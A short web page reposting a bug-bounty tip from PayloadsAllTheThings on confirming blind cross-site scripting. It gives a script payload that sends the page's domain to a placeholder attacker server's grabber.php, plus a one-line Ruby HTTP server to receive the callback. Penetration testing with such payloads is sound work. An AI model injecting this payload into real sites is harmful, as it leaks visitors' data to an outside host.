XSS Injection: Tips

Cross-site scripting (XSS)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

You can use a data grabber for XSS (#data-grabber) and a one-line HTTP server to confirm the existence of a blind XSS before deploying a heavy blind-XSS testing tool.

Eg. payload

html
<script>document.location='http://[ATTACKER.DOMAIN.TLD]/XSS/grabber.php?c='+document.domain</script>

Eg. one-line HTTP server:

ps1
ruby -run -ehttpd . -p8080

Comments

No comments yet.